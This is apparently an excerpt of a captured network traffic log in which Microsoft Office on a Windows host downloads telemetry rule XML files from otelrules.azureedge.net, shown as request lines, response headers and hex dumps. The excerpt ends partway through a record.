2024-11-23 20:16:13 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:13 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 734d7ea1-001e-002b-57e4-3c99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201613Z-178bfbc474bwh9gmhC1NYCy3rs00000004wg00000000q396 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:13 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:14 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 962a21d8-701e-001e-0fb8-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201614Z-15b8b599d88tmlzshC1TEB4xpn000000038g00000000eh6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:14 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:14 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:14 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 04c26370-f01e-0003-1e65-3d4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201614Z-15b8b599d88hd9g7hC1TEBp75c00000003e0000000006ccs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:14 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:14 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201614Z-178bfbc474bnwsh4hC1NYC2ubs00000004y000000000kd0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:15 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:14 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:15 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 80a20124-101e-0046-4f43-3c91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201615Z-15b8b599d88m7pn7hC1TEB4axw00000003d000000000f030 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:15 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:15 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:15 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201615Z-178bfbc474btvfdfhC1NYCa2en00000004x000000000pm2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:16 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:16 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:16 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201616Z-15b8b599d88l2dpthC1TEBmzr000000003eg000000004038 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:17 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:16 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:17 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201617Z-178bfbc474bwh9gmhC1NYCy3rs000000051g000000007vvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:17 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:16 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:17 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201617Z-174c587ffdfl22mzhC1TEBk40c00000003hg00000000dg35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:17 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:16 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 45806a8e-701e-003e-807c-3b79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201617Z-174c587ffdfn4nhwhC1TEB2nbc00000003m0000000001bck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:17 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201618Z-15b8b599d889gj5whC1TEBfyk0000000035g00000000gtry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:18 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201619Z-178bfbc474btvfdfhC1NYCa2en00000004yg00000000fmdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 